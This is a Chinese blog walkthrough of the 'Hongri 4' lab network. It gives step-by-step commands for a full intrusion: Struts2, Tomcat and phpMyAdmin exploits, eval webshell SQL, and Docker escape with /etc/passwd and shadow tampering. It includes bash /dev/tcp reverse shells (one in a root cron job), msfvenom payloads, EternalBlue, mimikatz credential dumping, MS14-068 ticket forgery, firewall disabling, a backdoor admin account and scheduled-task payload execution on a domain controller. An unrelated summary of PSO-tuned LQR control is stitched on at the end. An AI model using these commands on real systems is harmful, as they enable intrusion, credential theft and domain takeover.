红日四内网渗透-------靶场练习

红日四内网靶场练习

声明
笔记的只是方便各位师傅学习知识,以下网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负。

✍🏻作者简介:致力于网络安全领域,目前作为一名学习者,很荣幸成为一名分享者,最终目标是成为一名开拓者,很有趣也十分有意义
🤵‍♂️ 个人主页: @One_Blanks
欢迎评论 💬点赞👍🏻 收藏 📂加关注+

  • 关注公众号:泷羽Sec-Blanks

X

带你去体验最真实的渗透环境,文章里不会直接摆答案,会全面的带你去进行信息收集以及漏洞利用,会领着你一步一步踩下我踩过的坑,实战往往比这更绝望,练技术须实践。

一、前期准备

靶机下载

https://pan.baidu.com/s/1Dvl-oiFNlEwCrFvhrvqlsA 提取码: 2kgk

目标

目标共三台机器:Web DC Win7

网络配置:

Web 网卡1:Nat模式 网卡2:仅主机模式

DC 网卡:仅主机模式

Win7 网卡:仅主机模式

账号密码 与 网络信息

ubuntu:ubuntu
网卡1:192.168.1.128
网卡2:192.168.31.128

域成员机器
douser:Dotest123
192.168.31.129

DC
administrator:Test2008
192.168.31.130

Web机环境启动

sudo docker start ec 17 09 bb da 3d ab ad

sudo docker ps 可以看一下是否启动成功

网络拓扑图

在这里插入图片描述

二、渗透阶段

(一)外网打点

主机发现

arp-scan -l


netdiscover -r 192.168.1.0/24

nmap -sn 192.168.1.0/24

192.168.1.128   00:0c:29:3e:6f:fe       VMware, Inc.

我们发现了一台目标机器 ip:192.168.1.128

设置环境变量

export ip=192.168.1.128

端口扫描

nmap --min-rate 10000 -p- $ip

PORT     STATE SERVICE
22/tcp   open  ssh
2001/tcp open  dc
2002/tcp open  globe
2003/tcp open  finger
MAC Address: 00:0C:29:3E:6F:FE (VMware)
服务信息收集

nmap -sS -sV -O -p22,2001,2002,2003 $ip

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
2001/tcp open  http    Jetty 9.2.11.v20150529
2002/tcp open  http    Apache Tomcat 8.5.19
2003/tcp open  http    Apache httpd 2.4.25 ((Debian))
MAC Address: 00:0C:29:3E:6F:FE (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14, Linux 3.8 - 3.16
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
漏洞信息扫描

nmap --script=vuln -p22,2001,2002,2003 $ip

Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-08 02:49 EDT
Pre-scan script results:
| broadcast-avahi-dos:
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for 192.168.1.128
Host is up (0.00032s latency).

PORT     STATE SERVICE
22/tcp   open  ssh
2001/tcp open  dc
2002/tcp open  globe
2003/tcp open  finger
MAC Address: 00:0C:29:3E:6F:FE (VMware)
(一)22端口

Nday

searchsploit OpenSSH 6.6.1
在这里插入图片描述

找到有用户枚举的EXP,下载下来看看

searchsploit -m 45939

版本有点老了,这里给他优化了一下

#!/usr/bin/env python2
# CVE-2018-15473 SSH User Enumeration by Leap Security (@LeapSecurity) https://leapsecurity.io
# Credits: Matthew Daley, Justin Gardner, Lee David Painter


import argparse, logging, paramiko, socket, sys, os

class InvalidUsername(Exception):
    pass

# malicious function to malform packet
def add_boolean(*args, **kwargs):
    pass

# function that'll be overwritten to malform the packet
old_service_accept = paramiko.auth_handler.AuthHandler._client_handler_table.fget(
    paramiko.auth_handler.AuthHandler)[paramiko.common.MSG_SERVICE_ACCEPT]

# malicious function to overwrite MSG_SERVICE_ACCEPT handler
def service_accept(*args, **kwargs):
    paramiko.message.Message.add_boolean = add_boolean
    return old_service_accept(*args, **kwargs)

# call when username was invalid
def invalid_username(*args, **kwargs):
    raise InvalidUsername()

# assign functions to respective handlers
handler_table = paramiko.auth_handler.AuthHandler._client_handler_table.fget(paramiko.auth_handler.AuthHandler)
handler_table[paramiko.common.MSG_SERVICE_ACCEPT] = service_accept
handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = invalid_username

# perform authentication with malicious packet and username
def check_user(username):
    sock = socket.socket()
    sock.connect((args.target, args.port))
    transport = paramiko.transport.Transport(sock)

    try:
        transport.start_client()
    except paramiko.ssh_exception.SSHException:
        print('[!] Failed to negotiate SSH transport')
        sys.exit(2)

    try:
        transport.auth_publickey(username, paramiko.RSAKey.generate(2048))
    except InvalidUsername:
        print("[-] {} is an invalid username".format(username))
        sys.exit(3)
    except paramiko.ssh_exception.AuthenticationException:
        print("[+] {} is a valid username".format(username))

# remove paramiko logging
logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())

parser = argparse.ArgumentParser(description='SSH User Enumeration by Leap Security (@LeapSecurity)')
parser.add_argument('target', help="IP address of the target system")
parser.add_argument('-p', '--port', default=22, help="Set port of SSH service")
parser.add_argument('username', help="Username to check for validity.")

if len(sys.argv) == 1:
    parser.print_help()
    sys.exit(1)

args = parser.parse_args()

check_user(args.username)

下面是执行效果,感觉也没啥用

PS C:\Users\28374\Desktop\安全工具开发\One_Mini> python .\test.py 192.168.1.128 root
[+] root is a valid username
(二)2001端口 2002端口 2003端口

先访问

http://192.168.1.128:2001/

直接就是一个上传文件的页面

在这里插入图片描述

http://192.168.1.128:2002/

先访问,是一个Apache Tomcat服务

在这里插入图片描述

http://192.168.1.128:2003/

这里没有登录直接进来了,phpadmin

在这里插入图片描述

我们直接使用工具进行检测和利用

(三)Struts2渗透工具、Tomcat渗透、PhpMyAdmin渗透

针对2001这样Struts2服务的我们我们直接就用工具扫了,可以看标题

我这里用的工具在github上有

https://github.com/abc123info/Struts2VulsScanTools/releases/tag/v19.32在这里插入图片描述

看执行命令,并直接输入whoami命令

在这里插入图片描述

这里的shell直接是root的那我们就先反弹shell到Kali

Kali里开启监听 nc -nvlp 4444

工具执行反弹shell命令

bash -i >& /dev/tcp/192.168.1.133/4444 0>&1

成功拿到了root权限的shell

在这里插入图片描述

我们在上帝视角看我们知道这是一个Docker的环境,但是我们得到一个Docker环境是远远不够的,通常需要得到多个Docker环境的权限来判断当前Docker环境是否可以进行Docker逃逸,这样才能提高渗透的成功概率

接下来看Tomcat

我们还是要先扫一下拿信息

这里用的nokit

nikto -url http://192.168.1.128:2002/

+ Server: No banner retrieved
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /nikto-test-HsvKIICJ.html: HTTP method 'PUT' allows clients to save files on the web server. See: https://portswigger.net/kb/issues/00100900_http-put-method-is-enabled
+ /favicon.ico: identifies this app/server as: Apache Tomcat (possibly 5.5.26 through 8.0.15), Alfresco Community. See: https://en.wikipedia.org/wiki/Favicon
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, PUT, DELETE, OPTIONS .
+ HTTP method ('Allow' Header): 'PUT' method could allow clients to save files on the web server.
+ HTTP method ('Allow' Header): 'DELETE' may allow clients to remove files on the web server.
+ /examples/servlets/index.html: Apache Tomcat default JSP pages present.

+ /examples/jsp/snp/snoop.jsp: Displays information about page retrievals, including other users. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2104

刚开始扫就看到了支持PUT方法上传,那啥都不用管了

我们先看看有没有现成的EXP

searchsploit Apache Tomcat 8.5.19

┌──(root㉿kali)-[/home/kali]
└─# searchsploit Apache Tomcat 8.5.19
--------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                       |  Path
--------------------------------------------------------------------------------------------------------------------- ---------------------------------
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution (1)         | windows/webapps/42953.txt
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution (2)         | jsp/webapps/42966.py
--------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

直接拿下面的py文件了

searchsploit -m 42966

┌──(root㉿kali)-[/home/kali/bc/hr4]
└─# ./42966.py



   _______      ________    ___   ___  __ ______     __ ___   __ __ ______
  / ____\ \    / /  ____|  |__ \ / _ \/_ |____  |   /_ |__ \ / //_ |____  |
 | |     \ \  / /| |__ ______ ) | | | || |   / /_____| |  ) / /_ | |   / /
 | |      \ \/ / |  __|______/ /| | | || |  / /______| | / / '_ \| |  / /
 | |____   \  /  | |____    / /_| |_| || | / /       | |/ /| (_) | | / /
  \_____|   \/   |______|  |____|\___/ |_|/_/        |_|____\___/|_|/_/




./cve-2017-12617.py [options]

options:

-u ,--url [::] check target url if it's vulnerable
-p,--pwn  [::] generate webshell and upload it
-l,--list [::] hosts list

[+]usage:

./cve-2017-12617.py -u http://127.0.0.1
./cve-2017-12617.py --url http://127.0.0.1
./cve-2017-12617.py -u http://127.0.0.1 -p pwn
./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn
./cve-2017-12617.py -l hotsts.txt
./cve-2017-12617.py --list hosts.txt


[@intx0x80]

直接执行

./42966.py -u http://192.168.1.128:2002/ -p pwn

直接拿到root权限
在这里插入图片描述

最后就是phpmyadmin了,我们未授权直接进去了,那就有的是办法拿shell了,但最省事的还是直接EXP

我们从页面右下角发现了phpMyAdmin的版本信息为 4.8.1

直接搜
searchsploit phpMyAdmin 4.8.1

然后直接给这个RCE下载

在这里插入图片描述

searchsploit -m 50457

python2 50457.py 这里用python2执行,python3执行报错

看了眼实例我们执行一下

python2 50457.py 192.168.1.128 2003 /phpmyadmin username password whoami

没有版本。。

那我们只能换第一个手动了

searchsploit -m 44924

cat 44924.txt 这里的解释我删掉了,直接看Payload 文件包含的

Payload:
http://192.168.1.128:2003/index.php?target=db_sql.php%253f/../../../../../../windows/wininit.ini
Payload:
http://192.168.1.128:2003/index.php?a=phpinfo();&target=db_sql.php%253f/../../../../../../etc/passwd

http://192.168.1.128:2003/index.php?a=phpinfo();&target=db_sql.php%253f/…/…/…/…/…/…/etc/passwd

在这里插入图片描述

show global variables like ‘%secure_file_priv%’

此处设置为NULL,那select into outfile就不行了

在这里插入图片描述

我们还可以通过数据库日志文件写入Shell

1、查看当前日志文件:

SHOW VARIABLES LIKE 'general%';

2、开启日志记录:

set global general_log = "ON";

3、更改日志文件路径:

set global general_log_file='C:\\xampp\\htdocs\\tieuhoc\\b.php'

4、往日志文件里写入一句话木马

select '<?php @eval($_POST[cmd]);?>';

3.3 通过慢查询写shell

show variables like '%slow%'set global slow_query_log=on;set global slow_query_log_file='C:\\xampp\\htdocs\\tieuhoc\\c.php'select '<?php @eval($_POST[cmd]);?>' or sleep(10);

3.4 创建数据库和表写入webshell

前提:拥有root权限、网站绝对路径已知(并且确定有写入权限); secure_file_priv没有具体值

CREATE TABLE test( id text(200) not null);    
INSERT INTO test (id) VALUES('<?php @eval($_POST[cmd]);?>');    
SELECT id FROM test INTO OUTFILE 'C:\\xampp\\htdocs\\tieuhoc\\e.php';    
DROP TABLE IF EXISTS test;

直接在第二步就卡住了,没有SUPER权限

在这里插入图片描述

那2003端口就先这样,我们先试试Docker是否可逃逸

(四)Docker逃逸

我们是从上帝视角看到的这是Docker容器,那如果在完全黑盒的情况下如何判断呢

cat /proc/1/cgroup
在这里插入图片描述

既然我们知道了这是一个Docker容器了,我们就需要让我们的权限跳出Docker进行逃逸,进入到真实机器进行操作

因为我们这里是root用户我们这里直接特权逃逸了

  • 漏洞原理

使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。

  • 漏洞利用

查看磁盘文件
fdisk -l

在这里插入图片描述

在这里插入图片描述

Struts2服务用户没有,Tomcat 用户有

那在Tomcat的shell中执行下面的命令

mkdir /tmp/bc
mount /dev/sda1 /tmp/bc

然后我们查看一下,发现我们成功逃逸,来到了真实主机的磁盘下

ls /tmp/bc

在这里插入图片描述

已经成功挂载了,但是我们需要一个更稳定的shell,但是bash\python等反弹都不行,但是我们还忘掉了一个端口

(五)22端口SSH服务

我们直接修改ssh,通过ssh进行登录,这样的shell就更稳定

echo "test:x:1006:1006:test:/home/test:x::/bin/bash" >> /tmp/bc/etc/passwd
  • test:用户名。
  • x:密码占位符(实际密码在 /etc/shadow)。
  • 1006:用户 ID(UID)。
  • 1006:组 ID(GID)。
  • test:用户描述(全名或备注)。
  • /home/test:用户家目录。
  • /bin/bash:默认登录 Shell。

然后再给他配一个加盐哈希密码

openssl passwd -1 -salt wwwww 123456

-salt wwwww 是加的盐 生成密码为 1 1 1wwwww$yb5hib7GqVs3vcmCjIBhu0

echo "test:x::\$1$wwwww$yb5hib7GqVs3vcmCjIBhu0/:18381:0:99999:7:::" >> /tmp/bc/etc/shadow

在这里插入图片描述

输入密码但是一直提示错误

那就尝试ssh免密登录

Kali下

cd ~/.ssh

ls

其中id_rsa.pub文件就是ssh公钥

开启http服务

python3 -m http.server 8080

在Web机的shell中下载

wget http://192.168.1.133:8080/c

公钥拷贝到ubuntu的.ssh中
cp id_rsa.pub /tmp/bc/home/ubuntu/.ssh/authorized_keys

ls -la /tmp/bc/home/ubuntu/.ssh

注意需要给authorized_keys 644权限

chmod +644 /tmp/bc/home/ubuntu/.ssh/authorized_keys

然后发现竟然还是要密码

那就是算法问题了,直接强制添加选项

┌──(root㉿kali)-[/home/kali]
└─# ssh -oPubkeyAcceptedKeyTypes=+ssh-rsa \
> -i rain_rsa \
> ubuntu@192.168.1.128

在这里插入图片描述

uname -a

直接去搜版本内核提取漏洞

searchsploit Linux ubuntu 4.4.0

在这里插入图片描述

Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zorin) - Local Privilege Escalation (KASLR / SMEP)      | linux/local/47169.c

找到了这个

下载下来

searchsploit -m 47169

开http给ubuntu传过去

Kali: python3 -m http.server 8080

Ubuntu: wget http://192.168.1.133:8080/47169.c

head -n 60 47169.c 看一下使用说明

然后用gcc编译且执行

gcc 47169.c -o pwn

./pwn

发现不行

在换一个

Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escalation (KASLR / SMEP)                          | linux/local/43418.c

searchsploit -m 43418

python3 -m http.server 8080

wget http://192.168.1.133:8080/43418.c

head -n 60 43418.c

gcc 43418.c -o pwn2

./pwn2

都不行,那就换方法吧

查看计划任务

ls -al /etc/cron*

发现没有ubuntu可写计划任务

但是我们可以用刚刚逃逸成功的root权限用户创建一个计划任务进行提权

echo -e '#!/bin/bash\n/bin/bash -i >& /dev/tcp/192.168.1.133/3333 0>&1' > /tmp/bc/tmp/shell.sh
chmod +x /tmp/bc/tmp/shell.sh
cat /tmp/bc/tmp/shell.sh

*# 写入crontab计划任务,表示每隔1分钟以root权限执行一次计划*
echo '*/1 * * * * root  bash /tmp/shell.sh' > /tmp/bc/etc/crontab
cat  /tmp/bc/etc/crontab

然后再Kali上开启监听等着就行了

nc -nvlp 3333

在这里插入图片描述

(二)内网渗透

信息收集

ip a 我们发现一个192.168.31.0网段

存活主机

for i in {1…254}; do (ping -c 1 192.168.31.${i} | grep “bytes from” | grep -v “Unreachable” &); done;

root@ubuntu:~# for i in {1..254}; do (ping -c 1 192.168.31.${i} | grep "bytes from" | grep -v "Unreachable" &); done;
<68.31.${i} | grep "bytes from" | grep -v "Unreachable" &); done;
64 bytes from 192.168.31.1: icmp_seq=1 ttl=128 time=1.48 ms
64 bytes from 192.168.31.128: icmp_seq=1 ttl=64 time=0.052 ms
64 bytes from 192.168.31.129: icmp_seq=1 ttl=128 time=1.46 ms
64 bytes from 192.168.31.130: icmp_seq=1 ttl=128 time=0.850 ms

发现了,192.168.31.129,192.168.31.130 这两个存活主机

上线Msf
  1. 先生成个msf马

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.133 LPORT=1234 -f elf > shell.elf

  1. Kali开启服务

python3 -m http.server 8080

  1. 目标机下载

wget http://192.168.1.133:8080/shell.elf

  1. Kali打开msf进行监听

msfconsole

use exploit/multi/handler

set payload linux/x64/meterpreter/reverse_tcp

set LHOST 192.168.1.133

set LPORT 1234

run

  1. 目标机执行msf马

chmod +x shell.elf

./shell.elf

成功上线,收到会话
在这里插入图片描述

添加路由建立代理

先退出当前会话

background

可以用 sessions 命令查看所有会话

然后用 sessions -i 1 重新进入会话 (这里的1是会话的ID)

route add 192.168.31.0 255.255.255.0 1 (<目标网络> <子网掩码> <会话编号>)

在这里插入图片描述

这里利用ew建立代理,ew_for_linux64工具在github上有

Kali上 (注意执行前要用chmod +x 加执行权限)

./ew_for_linux64 -s rcsocks -l 1080 -e 1111

在目标机上传ew_for_linux64

./ew_for_linux64 -s rssocks -d 192.168.1.133 -e 1111

返回Kali看一下

在这里插入图片描述

vi /etc/proxychains4.conf

socks5 127.0.0.1 1080
socks4 127.0.0.1 1081

在msf会话中不能直接执行wget等命令,因为这些是Linux系统的命令,不属于msf命令范畴,如果想执行Linux命令直接在msf会话中输入shell就可以启动一个Linux的shell会话了,用完之后还可以使用exit命令返回到msf会话中

ping 192.168.31.129 搭建成功

在这里插入图片描述

msf探测内网存活主机与端口

use auxiliary/scanner/discovery/udp_probe

set RHOSTS 192.168.31.0/24

set THREADS 5

run

在这里插入图片描述

[+] Discovered NetBIOS on 192.168.31.129:137 (TESTWIN7-PC:<20>:U :TESTWIN7-PC:<00>:U :DEMO:<00>:G :DEMO:<1e>:G :DEMO:<1d>:U :__MSBROWSE__:<01>:G :00:0c:29:19:7f:6a)
[+] Discovered DNS on 192.168.31.130:53 (Microsoft DNS)
[+] Discovered NTP on 192.168.31.130:123 (1c0104fa00000000000a50fb4c4f434ceb9f3f71f4000000c54f234b71b152f3eb9fa4ef74000000eb9fa4ef74000000)
[+] Discovered NetBIOS on 192.168.31.130:137 (WIN-ENS2VR5TR3N:<20>:U :WIN-ENS2VR5TR3N:<00>:U :DEMO:<00>:G :DEMO:<1c>:G :DEMO:<1b>:U :00:0c:29:bc:53:6a)

还是两台主机

192.168.31.129 TESTWIN7-PC

192.168.31.130 WIN-ENS2VR5TR3N

横向移动

信息收集

nmap --min-rate 10000 -p- 192.168.31.130

PORT    STATE SERVICE
53/tcp  open  domain
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

nmap -sS -p53,135,139,445 -A 192.168.31.130

PORT    STATE SERVICE      VERSION
53/tcp  open  domain       Microsoft DNS 6.1.7601 (1DB1446A) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_  bind.version: Microsoft DNS 6.1.7601 (1DB1446A)
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Windows Server 2008 HPC Edition 7601 Service Pack 1 microsoft-ds (workgroup: DEMO)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows XP|7|2012
OS CPE: cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2012
OS details: Microsoft Windows XP SP3 or Windows 7 or Windows Server 2012
Network Distance: 2 hops
Service Info: Host: WIN-ENS2VR5TR3N; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
|_nbstat: NetBIOS name: WIN-ENS2VR5TR3N, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:bc:53:6a (VMware)
| smb-os-discovery:
|   OS: Windows Server 2008 HPC Edition 7601 Service Pack 1 (Windows Server 2008 HPC Edition 6.1)
|   OS CPE: cpe:/o:microsoft:windows_server_2008::sp1
|   Computer name: WIN-ENS2VR5TR3N
|   NetBIOS computer name: WIN-ENS2VR5TR3N\x00
|   Domain name: demo.com
|   Forest name: demo.com
|   FQDN: WIN-ENS2VR5TR3N.demo.com
|_  System time: 2025-04-08T22:46:38+08:00
| smb2-security-mode:
|   2:1:0:
|_    Message signing enabled and required
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
|_clock-skew: mean: -2h40m05s, deviation: 4h37m07s, median: -6s
| smb2-time:
|   date: 2025-04-08T14:46:37
|_  start_date: 2025-04-08T06:23:39

nmap --min-rate 10000 -p- 192.168.31.129

PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
49152/tcp open  unknown

nmap -sS -p135,139,445,49152 -A 192.168.31.129

PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc?
139/tcp   open  netbios-ssn?
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: DEMO)
49152/tcp open  msrpc        Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port139-TCP:V=7.95%I=7%D=4/8%Time=67F53649%P=x86_64-pc-linux-gnu%r(GetR
SF:equest,5,"\x83\0\0\x01\x8f");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|specialized
Running: Microsoft Windows XP|7|2012, VMware Player
OS CPE: cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2012 cpe:/a:vmware:player
OS details: Microsoft Windows XP SP3 or Windows 7 or Windows Server 2012, VMware Player virtual NAT device
Network Distance: 2 hops
Service Info: Host: TESTWIN7-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2025-04-08T14:45:33
|_  start_date: 2025-04-08T06:24:09
|_nbstat: NetBIOS name: TESTWIN7-PC, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:19:7f:6a (VMware)
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2:1:0:
|_    Message signing enabled but not required
|_clock-skew: mean: -1s, deviation: 0s, median: -1s

两台机器都开放了445端口,那就试一下永恒之蓝

use auxiliary/scanner/smb/smb_ms17_010

set RHOSTS 192.168.31.129

set RHOSTS 192.168.31.130

run

两台都扫出来永恒之蓝

在这里插入图片描述

利用永恒之蓝模块

use exploit/windows/smb/ms17_010_eternalblue

set payload windows/x64/meterpreter/bind_tcp

set RHOSTS 192.168.183.129

run

set RHOSTS 192.168.183.130

run

成功拿下Win7,DC域控拿不下应该是有防火墙

换模块 use exploit/windows/smb/ms17_010_psexec

还是不行

拿下域控

回到Win7会话

mimikatz工具在主机桌面寂静有了

我们直接运行使用

mimikatz.exe

privilege::debug 提升当前会话的权限到调试权限,这是后续获取敏感信息所必需的权限

sekurlsa::logonpasswords 从 LSASS(本地安全认证子系统服务)进程里提取当前登录用户的密码、哈希值、会话票据等敏感信息

在这里插入图片描述

USER:douser

Domain:DEMO.COM

NTLM:bc23b0b4d5bf5ff42bc61fb62e13886e

SID:S-1-5-21-979886063-1111900045-1414766810-1107

PASSWORD:Dotest123

利用Kerberos域用户提取漏洞(MS14-068;CVE-2014-6324)获得域控

该漏洞可导致活动目录整体权限控制受到影响,允许攻击者将域内任意用户权限提升至域管理级别。通俗地讲,如果攻击者获取了域内任何一台计算机的Shell权限,同时知道任意域用户的用户名、SID、密码,即可获得域管理员权限,进而控制域控制器,最终获得域权限。

使用PyKEK可以生成一张高权限的服务票据,并通过mimikatz将服务票据注入内存。

使用PyKEK,可以将Python文件转换为可执行文件(在没有配置Python环境的操作系统中也可以执行此操作,在这台靶机中靶场搭建者已经给大家准备好了可执行文件版的MS14-068.exe)

微软针对MS14-068 ( CVE-2014-6324)漏洞提供的补丁为KB3011780

步骤:

1、生成高权限票据

MS14-068.exe -u douser@DEMO.COM -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.31.130 -p Dotest123

(MS14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码)

-u 域成员名@域名 指定要伪造的用户主体名称(UPN)

-s S - 1 - 5 - 21 - 979886063 - 1111900045 - 1414766810 - 1107 指定用户的安全标识符(SID),用于标识用户在系统中的唯一身份

-d 192.168.31.130 指定域控制器的 IP 地址,该工具会向此域控制器请求伪造的 Kerberos 票证

-p Dotest123 指定用户的密码,用于验证用户身份并生成相应的 Kerberos 票证

2、查看注入前的权限

将票据文件复制到Windows Sever 2008机器的mimikatz目录下,使用mimikatz将票据注入内存。

net use \WIN-ENS2VR5TR3N\c$ 尝试建立一个到目标计算机(WIN-ENS2VR5TR3N)上 C 盘隐藏共享的连接

显示“Access is denied",表示在将票据注入前无法列出域控制器C盘目录的内容,那就先清除一下

3、清除内存中的所有票据

打开mimikatz

kerberos::purge

清除当前会话中所有 Kerberos 票据,使系统需重新请求认证票据

当看到"Ticket(s) purge for current session is OK’时,表示清除成功

在这里插入图片描述

4、将高权限的票据注入内存

kerberos::ptc “TGT_user1@pentest.com.ccache”(双引号里面的是票据的名字)

ptc:利用缓存中的 Kerberos 票据来获取访问权限

"TGT_user1@pentest.com.ccache":指定了要使用的 Kerberos 票据文件

kerberos::ptc “TGT_douser@DEMO.COM.ccache”

在这里插入图片描述

注入成功

在这里插入图片描述

生成一个msf马通过文件共享上传至域控主机

首先关闭WIN7防火墙

NetSh Advfirewall set allprofiles state off

Advfirewall:即 Windows Defender 高级防火墙

set allprofiles state off:将所有网络配置文件(如域、专用、公用网络)的防火墙状态设置为关闭

在这里插入图片描述

生成msf bind马

msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=192.168.183.130 LPORT=7777 -f exe > shell.exe

开启WIN7 3389远程连接用于上传文件

wmic RDTOGGLE WHERE ServerName=‘%COMPUTERNAME%’ call SetAllowTSConnections 1

WHERE ServerName='%COMPUTERNAME%':指定当前操作的目标是本地计算机。%COMPUTERNAME% 是系统环境变量,代表当前计算机的名称

call SetAllowTSConnections 1:调用 RDTOGGLE 类的 SetAllowTSConnections 方法,并将参数设置为 1。此操作会启用本地计算机的远程桌面连接功能,允许其他设备通过远程桌面协议连接到这台计算机。

在WIN7上创建新的用户并加入到管理员组

net user aaa qwe123!asd /add 创建新用户 “aaa”,密码为 “qwe123!asd”

net localgroup administrators aaa /add 将用户 “aaa” 添加到管理员组,使其具备管理员权限

通过远程桌面上传msf马到域控

在kali上输入命令

rdesktop 192.168.31.129 -r disk:wj=/root

-r disk:wj=/root:这是一个挂载选项。它将本地 Linux 系统的 /root 目录以名为 wj 的磁盘共享到远程 Windows 系统中。这样在远程 Windows 系统里,用户就可以像访问本地磁盘一样访问本地 /root 目录的文件。

-r 为指定共享的磁盘

用刚才添加的账号登录

在这里插入图片描述

将刚生成的msf马复制到WIN7中

再通过文件共享将马复制到域控中

copy shell.exe \WIN-ENS2VR5TR3N\c$

schtasks /create /S WIN-ENS2VR5TR3N /TN “test” /TR c:/shell.exe /SC MINUTE /ST 21:27 /ru system /f

schtasks /create:用于创建新的计划任务

/S WIN-ENS2VR5TR3N:指定要在名为 WIN-ENS2VR5TR3N 的远程计算机上创建任务。

/TN "test":设置任务名称为 test

/TR c:/shell.exe:指定任务执行时要运行的程序或脚本,这里是 c:/shell.exe

/SC MINUTE:设置任务的执行计划为按分钟执行。

/ST 21:27:设置任务开始执行的时间为 21:27。

/ru system:指定任务以系统账户权限运行。

/f:强制创建任务,若同名任务已存在则覆盖。

msf开启监听

use exploit/multi/handler

set payload windows/x64/meterpreter/bind_tcp

set RHOST 192.168.183.130

set LPORT 7777

exploit

等了很久没有收到会话,在域控上看到7777端口处于监听模式,证明计划任务执行成功,没有收到会话肯定是因为防火墙拦截了

可以创建一个计划任务关闭防火墙

echo NetSh Advfirewall set allprofiles state off >> 1.bat

copy 1.bat \WIN-ENS2VR5TR3N\c$

schtasks /create /S WIN-ENS2VR5TR3N /TN “test1” /TR c:/1.bat /SC ONCE /ST 21:57 /ru system /f

成功收到会话

内容概要:本文介绍了一种利用元启发式算法(如粒子群优化,PSO)优化线性二次调节器(LQR)控制器加权矩阵的方法,专门针对复杂的级倒立摆系统。传统的LQR控制器设计中,加权矩阵Q的选择往往依赖于经验和试错,而这种方法难以应对高维度非线性系统的复杂性。文中详细描述了如何将控制器参数优化问题转化为多维空间搜索问题,并通过MATLAB代码展示了具体实施步骤。关键点包括:构建非线性系统的动力学模型、设计适应度函数、采用对数缩放技术避免局部最优、以及通过实验验证优化效果。结果显示,相比传统方法,PSO优化后的LQR控制器不仅提高了稳定性,还显著减少了最大控制力,同时缩短了稳定时间。 适合人群:控制系统研究人员、自动化工程专业学生、从事机器人控制或高级控制算法开发的技术人员。 使用场景及目标:适用于需要精确控制高度动态和不确定性的机械系统,特别是在处理多自由度、强耦合特性的情况下。目标是通过引入智能化的参数寻优手段,改善现有控制策略的效果,降低人为干预的需求,提高系统的鲁棒性和性能。 其他说明:文章强调了在实际应用中应注意的问题,如避免过拟合、考虑硬件限制等,并提出了未来研究方向,例如探索非对角Q矩阵的可能性。此外,还分享了一些实践经验,如如何处理高频抖动现象,以及如何结合不同类型的元启发式算法以获得更好的优化结果。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
